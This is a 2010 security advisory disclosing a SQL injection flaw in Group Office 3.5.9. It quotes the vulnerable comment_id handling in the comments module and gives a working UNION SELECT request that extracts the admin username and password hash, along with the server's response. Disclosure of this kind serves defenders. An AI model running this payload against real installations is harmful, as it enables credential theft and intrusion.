Group Office suffers from a remote SQL injection vulnerability.
bac72b012a143df904a3867be5a1fa3da472f92978594f803af6d9357f30c3af
# Title
Group Office Remote SQL Injection Vulnerability
# Author
ADEO Security
# Published
17/07/2010
# Version
3.5.9 (Possible all versions)
# Vendor
http://www.group-office.com
# Download
http://sourceforge.net/projects/group-office/files/3.5/groupoffice-com-3.5.9.tar.gz/download
# Description
"Take your office online with Group-Office groupware. Share projects,
calendars, files and e-mail online with co-workers and clients. Easy
to use and fully customizable, Group-Office takes online collaboration
to the next level."
# Credit
Vulnerability founded by Canberk BOLAT
- Mail: security[AT]adeo.com.tr
- Web: http://security.adeo.com.tr , http://adeosecuritylabs.com
# Vulnerability
Remote attacker can inject sql codes to the system that host target
web application. Its high level vulnerability.
modules/comments/json.php:
23 $comment = $comments->get_comment(($_REQUEST['comment_id']));
In json.php 'get_comment' method called with value of HTTP Request
that's name 'comment_id'. In the 'get_comment' method, variable
'$comment_id' inserted to sql query and executed by application.
modules/comments/classes/comments.class.inc.php:
function get_comment($comment_id)
{
$this->query("SELECT * FROM co_comments WHERE id=".$this->escape($comment_id));
...
'escape' method can't prevent because attacker don't need single
quotes for successful exploitation.
# Exploitation
Request: http://server/groupoffice/modules/comments/json.php?task=comment&comment_id=888881+union+select+1,2,3,4,5,6,(select+concat_ws(0x3a,username,password)+from+go_users+where+id=1)
Response: {"data":{"id":"1","link_id":"2","link_type":"3","user_id":"4","ctime":"01-01-1970
1:00","mtime":"01-01-1970
1:00","comments":"admin:$1$sM5wjKS9$wJPfZZWO53uu8eCxjOesS\/","user_name":""},"success":true}
Application's response contains result of the attacker's injected sql codes.